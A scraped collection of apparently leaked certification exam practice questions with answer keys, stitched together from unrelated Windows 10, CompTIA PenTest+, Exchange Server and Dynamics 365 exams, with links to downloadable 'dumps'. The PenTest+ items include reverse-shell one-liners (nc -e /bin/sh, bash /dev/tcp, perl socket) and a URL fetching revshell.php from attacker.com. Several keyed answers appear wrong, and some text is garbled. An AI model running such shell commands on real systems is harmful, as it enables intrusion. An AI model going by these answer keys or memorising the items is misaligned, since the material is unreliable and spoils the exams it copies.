References: https://lifehacker.com/how-to-troubleshoot-windows-10-with-reliability-monitor-1745624446

QUESTION 4
You need to meet the quality update requirement for ComputerA. For how long should you defer the updates?
A. 14 days
B. 10 years
C. 5 years
D. 180 days
E. 30 days
Correct Answer: B
References: https://docs.microsoft.com/en-us/windows/deployment/update/waas-overview

QUESTION 5
You need to meet the technical requirement for User6. What should you do?
A. Add User6 to the Remote Desktop Users group in the domain.
B. Remove User6 from Group2 in the domain.
C. Add User6 to the Remote Desktop Users group on Computer2.
D. And User6 to the Administrators group on Computer2.
Correct Answer: B

QUESTION 6
You have a computer named Computer1 that runs Windows 10.
You need to configure User Account Control (UAC) to prompt administrators for their credentials.
Which settings should you modify?
A. Administrators Properties in Local Users and Groups
B. User Account Control Settings in Control Panel
C. Security Options in Local Group Policy Editor
D. User Rights Assignment in Local Group Policy Editor
Correct Answer: C
References: https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings

QUESTION 7
You have 100 computers that run Windows 10. You have no servers. All the computers are joined to Microsoft Azure
Active Directory (Azure AD).
The computers have different update settings, and some computers are configured for manual updates.
You need to configure Windows Update. The solution must meet the following requirements:
The configuration must be managed from a central location.
Internet traffic must be minimized.
Costs must be minimized.
How should you configure Windows Update? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:

Correct Answer:

QUESTION 8
You need to ensure that User10 can activate Computer10. What should you do?
A. Request that a Windows 10 Enterprise license be assigned to User10, and then activate Computer10.
B. From the Microsoft Deployment Toolkit (MDT), add a Volume License Key to a task sequence, and then redeploy
Computer10.
C. From System Properties on Computer10, enter a Volume License Key, and then activate Computer10.
D. Request that User10 perform a local AutoPilot Reset on Computer10, and then activate Computer10.
Correct Answer: D
References: https://docs.microsoft.com/en-us/windows/deployment/windows-autopilot/windows-autopilot-requirements-licensing

QUESTION 9
You have a computer named Computer1 that runs Windows 10 and has an application named App1.
You need to use Performance Monitor to collect data about the processor utilization of App1.
Which performance object should you monitor?
A. Process
B. Processor Performance
C. Processor Information
D. Processor
Correct Answer: A
References: https://www.cse.wustl.edu/~jain/cse567-06/ftp/os_monitors/index.html

QUESTION 10
Your company has an isolated network used for testing. The network contains 20 computers that run Windows 10. The
computers are in a workgroup. During testing, the computers must remain in the workgroup.
You discover that none of the computers are activated.
You need to recommend a solution to activate the computers without connecting the network to the Internet.
What should you include in the recommendation?
A. Volume Activation Management Tool (VAMT)
B. Key Management Service (KMS)
C. Active Directory-based activation
D. the Get-WindowsDeveloperLicense cmdlet
Correct Answer: B
References: https://docs.microsoft.com/en-us/windows/deployment/volume-activation/activate-using-key-management-service-vamt

QUESTION 11
You need to meet the technical requirements for EFS on ComputerA. What should you do?
A. Run certutil.exe, and then add a certificate to the local computer certificate store.
B. Run cipher.exe, and then add a certificate to the local computer certificate store.
C. Run cipher.exe, and then add a certificate to the local Group Policy.
D. Run certutil.exe, and then add a certificate to the local Group Policy.
Correct Answer: B
References:
https://docs.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/create-and-verify-an-efs-dra-certificate Question Set 3

QUESTION 12
You need to sign in as LocalAdmin on Computer11. What should you do first?
A. From the LAPS UI tool, view the administrator account password for the computer object of Computer11.
B. From Local Security Policy, edit the policy password settings on Computer11.
C. From the LAPS UI tool, reset the administrator account password for the computer object of Computer11.
D. From Microsoft Intune, edit the policy password settings on Computer11.
Correct Answer: A
References: https://technet.microsoft.com/en-us/mt227395.aspx

QUESTION 13
You need to meet the technical requirements for the helpdesk users.
What should you do? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:

Correct Answer:

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Free CompTIA PT0-001 Exam Practice Questions

QUESTION 1
A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains
IP addresses and times that each can be scanned. Which of the following would contain this information?
A. Rules of engagement
B. Request for proposal
C. Master service agreement
D. Business impact analysis
Correct Answer: A

QUESTION 2
An attacker uses SET to make a copy of a company\\’s cloud-hosted web mail portal and sends an email m to obtain the
CEO s login credentials Which of the following types of attacks is this an example of?
A. Elicitation attack
B. Impersonation attack
C. Spear phishing attack
D. Drive-by download attack
Correct Answer: C

QUESTION 3
An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to
manage power generation and cooling. Which of the following is a consideration unique to such an environment that
must be made by the firm when preparing for the assessment?
A. Selection of the appropriate set of security testing tools
B. Current and load ratings of the ICS components
C. Potential operational and safety hazards
D. Electrical certification of hardware used in the test
Correct Answer: A

QUESTION 4
A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration
tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the
penetration tester mostly like use?
A. perl -e ` use SOCKET\\’; $i=\\’; $p=\\’443;
B. ssh [email protected] -p 443
C. nc -e /bin/sh 443
D. bash -i >and /dev/tcp// 443 0>and1
Correct Answer: A
References: https://hackernoon.com/reverse-shell-cf154dfee6bd

QUESTION 5
A security consultant found a SCADA device in one of the VLANs in scope. Which of the following actions would BEST
create a potentially destructive outcome against device?
A. Launch an SNMP password brute force attack against the device.
B. Lunch a Nessus vulnerability scan against the device.
C. Launch a DNS cache poisoning attack against the device.
D. Launch an SMB exploit against the device.
Correct Answer: A

QUESTION 6
While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:
https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php
Which of the following remediation steps should be taken to prevent this type of attack?
A. Implement a blacklist.
B. Block URL redirections.
C. Double URL encode the parameters.
D. Stop external calls from the application.
Correct Answer: B

QUESTION 7
A company requested a penetration tester review the security of an in-house-developed Android application. The
penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the
APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO)
A. Convert to JAR
B. Decompile
C. Cross-compile the application
D. Convert JAR files to DEX
E. Re-sign the APK
F. Attach to ADB
Correct Answer: BD

QUESTION 8
In which of the following components is an exploited vulnerability MOST likely to affect multiple running application
containers at once?
A. Common libraries
B. Configuration files
C. Sandbox escape
D. ASLR bypass
Correct Answer: A

QUESTION 9
Joe, a penetration tester, is asked to assess a company\\’s physical security by gaining access to its corporate office.
Joe ism looking for a method that will enable him to enter the building during business hours or when there are no
employee on-site. Which of the following would be MOST effective in accomplishing this?
A. Badge cloning
B. Lock picking
C. Tailgating
D. Piggybacking
Correct Answer: A
http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/

QUESTION 10
A penetration tester has a full shell to a domain controller and wants to discover any user account that has not
authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?
A. dsrm -users “DN=compony.com; OU=hq CN=usera”
B. dsuser -name -account -limit 3
C. dsquery uaer -inactive 3
D. dsquery -o -rein -limit 21
Correct Answer: C

QUESTION 11
After several attempts, an attacker was able to gain unauthorized access through a biometric sensor using the
attacker\\’s actual fingerprint without exploitation. Which of the following is the MOST likely of what happened?
A. The biometric device is tuned more toward false positives
B. The biometric device is configured more toward true negatives
C. The biometric device is set to fail closed
D. The biometnc device duplicated a valid user\\’s fingerpnnt.
Correct Answer: A

QUESTION 12
During testing, a critical vulnerability is discovered on a client\\’s core server. Which of the following should be the NEXT
action?
A. Disable the network port of the affected service.
B. Complete all findings, and then submit them to the client.
C. Promptly alert the client with details of the finding.
D. Take the target offline so it cannot be exploited by an attacker.
Correct Answer: A

QUESTION 13
A penetration tester observes that several high numbered ports are listening on a public web server. However, the
system owner says the application only uses port 443. Which of the following would be BEST to recommend?
A. Transition the application to another port
B. Filter port 443 to specific IP addresses
C. Implement a web application firewall
D. Disable unneeded services.
Correct Answer: D

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Candidates for this exam are Messaging Administrators who deploy, configure, manage, troubleshoot, and monitor recipients, permissions, mail protection, mail flow, and public folders in both on-premises and cloud enterprise environments.

Messaging Administrators are responsible for managing hygiene, messaging infrastructure, hybrid configuration, migration, disaster recovery, high availability, and client access.

Messaging Administrators collaborate with the Security Administrator and Microsoft 365 Enterprise Administrator to implement a secure hybrid topology that meets the business needs of a modern organization.

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Skills measured

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• Secure the messaging environment (40-45%)
• Manage organizational settings (15-20%)

Latest updates Microsoft MS-201 exam practice questions

QUESTION 1
DRAG DROP
Your company named Contoso, Ltd. has a Microsoft Exchange Server 2019 hybrid deployment. A partner company
named Fabrikam, Inc. uses an Exchange Online subscription for email. You need to ensure that all the users at
Fabrikam can
view the free/busy information of the users at Contoso.
What should you configure? To answer, drag the appropriate components to the correct companies. Each component
may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view
content.
NOTE: Each correct selection is worth one point.
Select and Place:

Correct Answer:

References: https://docs.microsoft.com/en-us/exchange/sharing/organization-relationships/create-anorganizationrelationship https://docs.microsoft.com/en-us/exchange/sharing/sharing-policies/sharing-policies

QUESTION 2
Case Study : Litware,Inc.
Case Study
Overview
Litware, Inc. is food service supplier in Europe.
PhysicalLocations
Litware has a main office in Paris and branch offices in Munich, London, Brussels, Vienna, and Rome.
Each branch office has its own compliance officer.
ExistingEnvironment
The network contains one Active Directory forest named litware.com. The forest contains a single Active Directory
domain. Each office is configured as an Active Directory site. Each branch office is represented organizational unit (OU)
in an
OU named Offices in Active Directory.
Each branch office has a special Administrators group that contains the delegated administrators for that office. Each
Administrators group is named based on its location in a format of RegionalAdmins_Brussels,
RegionalAdmins_Munich,
RegionalAdmins_London, RegionalAdmins_Vienna and RegionalAdmins_Rome.
NetworkInfrastructure
Each office contains two domain controllers from the litware.com domain. All the domain controllers are configured as
DNS servers. All client computers connect only to the DNS servers in their respective office.
All offices have a high-speed connection to the Internet. Each office connects to the Internet by using a VPN appliance.
Each office has the following servers and client computers:
One reverse proxy appliance
One Microsoft Exchange Server 2019 server
One Windows Server Update Services (WSUS) server
Computers that run Windows 10 and have Microsoft Office 2019 installed. The office in Brussels contains an Exchange
Server 2016 server that has the Unified Messaging role installed and hosted voicemail configured.
Mailboxes are hosted on all the Exchange servers. Public folders are hosted only on an Exchange server in the main
office. Litware uses a disjoint namespace to access the servers. Each user has an archive mailbox. Archiving is
configured
to use the default settings. Exchange services are published to the internet by using a reverse proxy in each office. A full
backup of Exchange is performed nightly. Incremental backups occur every six hours. All the users in the transport
department connect to network resources by using a connection in the main office.
Requirements
Planned Changes
Litware plans to implement the following changes:
Implement calendar sharing to partner companies.
Implement a solution that prevents malware from being delivered to end users. Use personal archives to eliminate the
need for PST files. Ensure the Brussels office and move all the users in the Brussels office to the main office. All the
mailboxes in the Brussels office will be moved to a server in the main office. Implement a compliance solution to ensure
that items deleted from public folders are retained. If an item in a public folder is modified, the original version of the
item
must be available.
TechnicalRequirements
Litware identifies the following technical requirements:
Minimize administrative effort.
Use the principle of least privilege.
Ensure that junk email is deleted automatically after 14 days. Ensure that sent items and deleted items are deleted
automatically after 30 days. Ensure that users in the customer service department can open multiple mailboxes. Ensure
that
all the former Brussels office users always maintain access to hosted voicemail. Ensure that the staff in the IT
department can manage the email environment without and-user involvement.
Ensure that users cannot recover email messages that are deleted from the Junk Email folder and the Deleted Items.
Ensure that if an email message has a spam confidence level (SCL) of 3 or higher, the message automatically moves to
the Junk Email folder.
Problemstatements
The transport department users report that accessing a public folder named TransportPF is sometimes very slow.
Users in the customer service department report that Microsoft Outlook sometimes hangs when many mailboxes are
open.
You need to resolve the issue for the transport department users. What is the best way to achieve the goal? More than
one answer choice may achieve the goal. Select the BEST answer.
A. Move the public folder mailbox that contains TransportPF to a server in the main office.
B. Move TransportPF to a public folder mailbox hosted in the main office.
C. Modify the default public folder mailbox for all the transport department users.
D. Instruct the transport department users to add TransportPF to their Favorites list in Outlook.
Correct Answer: B
References: https://docs.microsoft.com/en-us/exchange/recipients/mailbox-moves?view=exchserver-2019

QUESTION 3
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a Microsoft Exchange Server 2019 organization.
You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder.
You need to recommend a solution to automatically reduce the size on the primary mailbox of each user.
Solution: You recommend configuring a retention policy that contains two personal tags.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 4
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a Microsoft Exchange Server 2019 organization.
You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder.
You need to recommend a solution to automatically reduce the size on the primary mailbox of each user.
Solution: You recommend configuring a retention policy that contains two default policy tags.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 5
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
Your company has a Microsoft 365 subscription.
Several users in the finance department of the company recently accesses unsafe websites by clicking on links in email
messages.
Users in the marketing department of the company report that they must be able to access all the links embedded in
email messages.
You need to reduce the likelihood of the finance department users accessing unsafe websites. The solution must affect
only the finance department users.
Solution: You create a new safe links policy.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B
References: https://blog.netwrix.com/2019/01/24/make-the-most-of-exchange-online-advanced-threat-protection/

QUESTION 6
You have a Microsoft Exchange Server 2019 organization.
You need to prevent credit card information from being emailed outside of the organization. Users must be informed of
any potential breaches before sending email.
What should you create?
A. a journal rule
B. a retention policy
C. a retention tag
D. a data loss prevention (DLP) policy
Correct Answer: D
References: https://docs.microsoft.com/en-us/office365/securitycompliance/data-loss-prevention-policies

QUESTION 7
You have a Microsoft Exchange Server 2019 organization.
You plan to purchase a Microsoft 365 E5 subscription and create a hybrid deployment.
You are evaluating the security requirements for communication between the on-premises and Exchange Online.
You need to ensure that Exchange Online services can access the necessary on-premises virtual directories.
Which two on-premises virtual directories should be accessible to Exchange Online services? Each correct answer
presents part of the solution.
NOTE: Each correct selection is worth one point.
A. Rpc
B. EWS
C. PowerShell
D. ecp
E. mapi
F. Autodiscover
Correct Answer: EF
References: https://docs.microsoft.com/en-us/office365/enterprise/configure-exchange-server-for-hybrid-modern-authentication

QUESTION 8
HOTSPOT
You have a Microsoft Exchange Server 2019 hybrid deployment. You plan to enable Hybrid Modern Authentication
(HMA). You run the Get-MapiVirtualDirectory cmdlet and receive the output shown in the following exhibit.

Use the drop-down menus to select the answer choice that completes each statement based on the information
presented in the graphic. NOTE: Each correct selection is worth one point.
Hot Area:

Correct Answer:

References:
https://docs.microsoft.com/en-us/office365/enterprise/configure-exchange-server-for-hybridmodernauthentication

QUESTION 9
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a Microsoft Exchange Server 2019 organization.
You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder.
You need to recommend a solution to automatically reduce the size on the primary mailbox of each user.
Solution: You recommend creating an archive mailbox for each user and configuring a retention policy that moves items
to the archive mailbox.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A

QUESTION 10
Overview
General Overview
Contoso, Ltd. is a national freight company in the United States. The company has 15,000 employees.
PhysicalLocations
Contoso has a main office in Houston and 10 branch offices that each contains 1,000 employees.
ExistingEnvironment
Active Directory and Microsoft Exchange Server Environments The network contains an Active Directory forest named
contoso.com. The forest contains one root domain named contoso.com and 10 child domains. All domain controllers
run
Windows Server 2019.
The forest has Active Directory Certificate Services (AD CS) and Active Directory Federation Services (AD FS)
deployed.
You have a hybrid deployment of Exchange Server 2019 and Microsoft Office 365.
There are 2,000 user mailboxes in Exchange Online.
Each office contains two domain controllers and two Mailbox servers. the main office also contains an Edge transport
server.
The organization contains 100 public folders. The folders contain 80 GB of content. All email messages sent to
contoso.com are delivered to Exchange Online. All messages sent to onpremises mailboxes are routed through the
Edge
Transport server. Advanced Threat Protection (ATP) is enabled and configured for the Office 365 tenant.
NetworkInfrastructure
Each office connects directly to the Internet by using a local connection. The offices connect to each other by using a
WAN link.
Requirements
Planned Changes
Contoso plans to implement the following changes:
1.
or all new users in the on-premises organization, provide an email address that uses the value of the Last Name
attribute and the first two letters of the First Name attribute as a prefix.
2.
ecommission the public folders and replace the folders with a Microsoft 265 solution that maintains web access to the
content.
Technical Requirements
Contoso identifies the following technical requirements:
1.
All email messages sent from a SMTP domain named adatum.com must never be identified as spam.
2.
Any solution to replace the public folders must include the ability to collaborate with shared calendars.
Security Requirements
Contoso identifies the following security requirements:
1.
The principle of least privilege must be applied to all users and permissions.
2.
All email messages sent from an SMTP domain named com to contoso.com must be encrypted.
3.
All users must be protected from accessing unsecure websites when they click on URLs embedded in email messages.
4.
If a user attempts to send an email message to a distribution group that contains more than 15 members by using
Outlook, the user must receive a warning before sending the message.
Problemstatements Recently, a user named HelpdeskUser1 erroneously created several mailboxes. Helpdesk1user1 is
a member of the Recipient Management management role group. Users who have a mailbox in office 365 report that it
takes a long time for email messages containing attachments to be delivered.
Exhibit

You need to resolve the email delivery delay issue. What should you do?
A. From the Security and Compliance admin center, modify the safe attachments policy
B. From the Security and Compliance admin center, create a supervision policy.
C. From the Exchange admin center in Exchange Online, modify the antimalware policy.
D. From the Exchange admin center in Exchange Online, modify the spam filter policy.
Correct Answer: A
References: https://docs.microsoft.com/en-us/office365/securitycompliance/dynamic-delivery-and-previewing

QUESTION 11
HOTSPOT
You have a Microsoft Exchange Server 2019 hybrid deployment. You have the on-premises mailboxes shown in the
following table.

You add the mailbox permissions shown in the following table.

You plan to migrate the mailboxes to Exchange Online by using remote mailbox move requests. The mailboxes will be
migrated according to the schedule shown in the following table.

Mailboxes migrated the same week will have their mailbox move requests included in the same batch and will be cut
over simultaneously.
For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct
selection is worth one point.
Hot Area:

Correct Answer:

References:
https://docs.microsoft.com/en-us/exchange/exchange-hybrid https://practical365.com/exchange-online/configuring-exchange-hybrid-cross-forest-permissions/

QUESTION 12
You have a Microsoft Exchange Server 2019 organization.
You run the following commands.
New-Management-Scope –Name “VIP Mailboxes” –RecipientRoot “Contoso.com/Executives”
–RecipientRestrictionFilter (RecepientType –eq “UserMailbox”)
New-ManagementRoleAssignment –SecurityGroup “VIP Admins” –Role “Mail Recipients” –CustomRecipientWriteScope
“VIP Mailboxes”
You have a user named Admin1.
You need to ensure that Admin1 can manage the mailboxes of users in the Executives organizational unit (OU) only.
What should you do?
A. Modify the membership of VIP Admins.
B. Create a custom role group.
C. Add Admin1 to the Recipient Management role group.
D. Move Admin1 to the Executives OU.
Correct Answer: C
References: https://social.technet.microsoft.com/Forums/exchange/en-US/b316a841-c39d-483a-ac8e-64d5904c42e6/how-to-limit-recipient-management-rights-to-users-in-a-ou-in-exchange-2010-sp1?forum=exchangesvradminlegacy

QUESTION 13
DRAG DROP
Your company has 5,000 Microsoft Exchange Server 2019 mailboxes. The company is implementing a new application
named HR1 that integrates with Exchange. HR1 runs on a server named HRSERVER.
You create a new mailbox named HRService for the service account of HR1. You need to ensure that HR1 can sync
contacts from all the mailboxes in the Exchange organization concurrently by using an Exchange ActiveSync
connection.
How should you complete the PowerShell script? To answer, drag the appropriate values to the correct targets. Each
value may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to
view
content.
NOTE: Each correct selection is worth one point.
Select and Place:

Correct Answer:

References: https://docs.microsoft.com/en-us/powershell/module/exchange/server-health-andperformance/new-throttlingpolicy?view=exchange-ps https://docs.microsoft.com/en-us/powershell/module/exchange/server-health-andperformance/setthrottlingpolicyassociation?view=exchange-ps

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^[PDF] Free Microsoft MS-200 pdf dumps download from Google Drive: https://drive.google.com/open?id=1FCJZPShpQJinyMDY1Z8UWXe-XMtRR2Ls

Exam MS-200: Planning and Configuring a Messaging Platform: https://docs.microsoft.com/en-us/learn/certifications/exams/ms-200

Candidates for this exam are Messaging Administrators who deploy, configure, manage, troubleshoot, and monitor recipients, permissions, mail protection, mail flow, and public folders in both on-premises and cloud enterprise environments.

Messaging Administrators are responsible for managing hygiene, messaging infrastructure, hybrid configuration, migration, disaster recovery, high availability, and client access.

Messaging Administrators collaborate with the Security Administrator and Microsoft 365 Enterprise Administrator to implement a secure hybrid topology that meets the business needs of a modern organization.

The Messaging Administrator should have a working knowledge of authentication types, licensing, and integration with Microsoft 365 applications.

Skills measured

• Manage modern messaging infrastructure (45-50%)
• Manage mail flow topology (35-40%)
• Manage recipients and devices (15-20%)

Latest updates Microsoft MS-200 exam practice questions

QUESTION 1
HOTSPOT
You have a Microsoft Exchange Online subscription that contains the groups shown in the following table.

You have the recipients shown in the following table.

The groups contain the members shown in the following table.

For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct
selection is worth one point.
Hot Area:

Correct Answer:

References: https://docs.microsoft.com/en-us/office365/admin/manage/upgrade-distribution-lists?view=o365-worldwide#which-distribution-lists-can-be-upgraded

QUESTION 2
Your company named Contoso, Ltd. has a Microsoft Exchange Online subscription.
You have several transport rules. The rules automatically apply a disclaimer to email messages that contain certain
keywords in the subject and are sent to recipients in an email domain named fabrikam.com.
You receive a report that some messages are delivered without the disclaimer.
You need to view which transport rules were applied to messages sent to the fabrikam.com recipients.
What should you use?
A. a URL trace
B. a message trace
C. the SMTP protocol logs
D. the transport logs
Correct Answer: B
References: https://docs.microsoft.com/en-us/exchange/monitoring/trace-an-email-message/run-a-message-trace-and-view-results

QUESTION 3
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
Your company has a Microsoft Exchange Server 2019 server named EX01. EX01 has the default Receive connectors.
EX01 receives Internet email on port 25 from an appliance in the company\\’s perimeter network.
The company has an application named App1 that can only send email on port 25. The application administrator
requests that you enable App1 to route email through EX01 for delivery.
You need to ensure that EX01 only accepts email from the appliance and App1.
Solution: You create a new remote domain and set the domain name to App1. You create a new delivery agent
connector and set the IsScopedConnector property to $true.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 4
You plan to deploy a Microsoft Exchange Server 2019 organization that will contain the servers shown in the following
table.

The sites connect to each other by using a high-cost, slow WAN link. Each site also connects directly to the Internet.
You need to ensure that outgoing email to the Internet always uses a server in the local site.
What should you create?
A. one Send connector that uses two smart hosts
B. two Send connectors that use different smart hosts
C. two scoped Send connectors that have the same namespace
D. two Send connectors that have different namespaces
Correct Answer: C

QUESTION 5
DRAG DROP
You have a Microsoft Exchange Server 2016 organization.
Users access their email by using a URL of https://mail.contoso.com.
You are installing a new Exchange Server 2019 Mailbox server to replace an existing Exchange Server 2016 server.
You need to secure all the Exchange services by using a certificate. The solution must minimize warnings on client
computers.
Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions
to the answer area and arrange them in the correct order.
Select and Place:

Correct Answer:

QUESTION 6
Your network contains two Active Directory sites named Site1 and Site2.
You deploy a new Microsoft Exchange Server 2019 organization that contains a Mailbox server in each site.
You need to configure the organization to use a single namespace for Autodiscover.
What should you do?
A. Create an SRV record named AutoDiscover.
B. Create a TXT record named AutoDiscover.
C. Run the Set-ClientAccessService cmdlet.
D. Run the Set-AutodiscoverVirtualDirectory cmdlet.
Correct Answer: C

QUESTION 7
You need to restore mailbox access for the main office users as quickly as possible. What should you do?
A. Create a recovery database on another Exchange server, and then restore the database from EX07 to the recovery
database.
B. On a server in DAG15, create a copy of the mailbox databases hosted on EX07.
C. Copy the database files from EX07, and then mount the database on a server in DAG15.
D. On a new server, run setup.exe /Mode:RecoverServer from the Exchange Server 2019 installation media and then
restore a backup of the database.
Correct Answer: D

QUESTION 8
HOTSPOT
You have a Microsoft Exchange Server 2019 organization.
You configure the accepted domains as shown in the following table.

You configure the MX records in DNS as shown in the following table.

In the Exchange organization you create a mail user named User1 who has the following email addresses:
[email protected] [email protected] [email protected]
For each of the following statements, select Yes if the statement is true. Otherwise, select No.
NOTE: Each correct selection is worth one point.
Hot Area:

Correct Answer:

QUESTION 9
HOTSPOT
You have a Microsoft Exchange Server organization that contains the servers shown in the following table.

Users access their email by using Outlook on the web.
You install Office Online Server in the London and Seattle offices.
You need to ensure that users can view Microsoft Office attachments within Outlook on the web without downloading
the attachments. The solution must ensure that the users can open the attachments by using the nearest server that
runs
Office Online Server.
How should you complete the command? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:

Correct Answer:

QUESTION 10
HOTSPOT
After you deploy the Exchange organization, you run the Get-ActiveSyncDeviceAccessRule cmdlet, and you receive the
following output.

For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct
selection is worth one point.
Hot Area:

Correct Answer:

The rule is incorrectly configured so nothing will be blocked. The QueryString parameter specifies the device identifier
that\\’s used by the rule, not the software.

QUESTION 11
HOTSPOT
You have a Microsoft Exchange Server 2019 organization named litwareinc.com.
The organization publishes Exchange services by using a namespace of mail.litwareinc.com.
You deploy a new server named EX10 to the organization.
User reports that sometimes they receive warnings about certificate errors when they connect to their mailbox. The
warning message reference is ex10.litwareinc.com.
You need to resolve the issue.
How should you complete the command? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:

Correct Answer:

QUESTION 12
You need to meet the technical requirements for the mobile device of User2. Which cmdlet should you run?
A. Remove-MobileDevice
B. Clear-MobileDevice
C. Clear-Content
D. Remove-ActiveSyncDevice
Correct Answer: B

QUESTION 13
You need to implement the required changes to the current Exchange organization for the Fabrikam partnership.
Which two actions should you perform? Each correct answer presents part of the solution.
NOTE: Each correct selection is worth one point.
A. Set up directory synchronization.
B. Create a remote domain.
C. Configure an email address policy.
D. Configure an external relay accepted domain.
E. Configure an internal relay accepted domain.
Correct Answer: CE
References: https://docs.microsoft.com/en-us/exchange/mail-flow/accepted-domains/accepted-domains?view=exchserver-2019

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Microsoft MB-240 Exam Video

Table of Contents:

• Latest Microsoft MB-240 google drive
• Effective Microsoft MB-240 exam practice questions
• Related MB-240 Popular Exam resources
• Lead4Pass Year-round Discount Code
• What are the advantages of Lead4pass?

Latest Microsoft MB-240 google drive

^[PDF] Free Microsoft MB-240 pdf dumps download from Google Drive: https://drive.google.com/open?id=1_vToTUaPIFilj18f1yd7rZJNOmxoT9aU

Exam MB-240: Microsoft Dynamics 365 Field Service: https://docs.microsoft.com/en-us/learn/certifications/exams/mb-240

Candidates for this exam are Microsoft Dynamics 365 Customer Engagement functional consultants with Field Service expertise. Candidates are responsible for implementing solutions that manage resources that complete the field service lifecycle.

Candidates implement the field service processes designed in collaboration with internal and external teams. This collaboration includes configuring the default administration areas of the Field Service application, deploying the Connected Field Service (IoT) solution and the mobile application, and implementing any additionally needed customizations. Candidates are responsible for the configuration and deployment of the Field Service application in conjunction with the core customer service application.

Candidates must have knowledge of how to configure and customize components of the Field Service application, including configuring services, resources, characteristics, incidents, inventory integration, service agreements, resource scheduling, work orders, service tasks, field service user roles, field service settings, the Connected Field Service (IoT) solution, and configuration of the Field Service Mobile app.

Skills measured

• Configure field service applications (20-25%)
• Manage work orders (15-20%)
• Schedule and dispatch work orders (20-25%)
• Manage field service mobility (10-15%)
• Manage inventory and purchasing (10-15%)
• Manage assets and agreements (10-15%)

Latest updates Microsoft MB-240 exam practice questions

QUESTION 1
You are a Dynamics 365 for Field Service scheduler using the Schedule Assistant. You notice the Schedule Assistant
always sets the Default Radius to 25 KM.
Which two options should you choose? Each correct answer presents a complete solution.
A. Set the Default Radius Unit to Miles under Field Service Settings, Work Order/Booking section.
B. Set the Default Radius Value to 50 under Scheduling Parameters.
C. Set the Default Radius Value to 50 under Field Service Settings, Work Order/ Booking section.
D. Set the Default Radius Unit to Miles under Scheduling Parameters.
Correct Answer: BD

QUESTION 2
Your company processes a large number of work orders each day. The company wants to ensure the high priority work
orders are dealt with immediately.
You need to configure the schedule board so that bookings are easily visible to the dispatchers.
How can you configure Dynamics Field Services to increase booking visibility?
A. Configure a work order type for high priority issues, to help categorize high priority work order records.
B. Configure an Incident type for high priority incidents on work order records.
C. Configure the status color for a booking status record, to identify high priority work order records.
D. Configure a priority record to allow you to identify high priority work order records.
Correct Answer: C

QUESTION 3
You are a Dynamics 365 for Field Service Mobile customizer.
Your mobile technicians indicate that when in offline mode, they do not have access to the same data set that is
available online. Offline mode contains less account and work order data, and users cannot see warehouses.
You need to determine which updates to make within the mobile project so that technicians can see the appropriate
information.
Which three actions should you choose? Each correct answer presents a complete solution.
A. Update Synchronization setting to Always Full Sync.
B. Update entity Sync Filter.
C. Update View filters.
D. Update the Max Sync Records setting.
E. Update the entity Mode to Online and Offline.
Correct Answer: BDE

QUESTION 4
As a new start-up field services company, you are looking to streamline your customer service process to provide the
best customer service experience.
Your company has decided to implement Dynamics Field Services as the foundation for its customer service
management processes.
You need to ensure that the cases that the customer service team creates can be quickly and efficiently converted to
work orders (that will minimize the need to add additional information to the work orders) using the out-of-the-box
capabilities.
Which key item do you need to configure before the customer service agents will be able to convert a case to a work
order?
A. Resources
B. Work Order Types
C. Booking Rules
D. Incident Type
Correct Answer: D
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/configure-incident-types

QUESTION 5
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
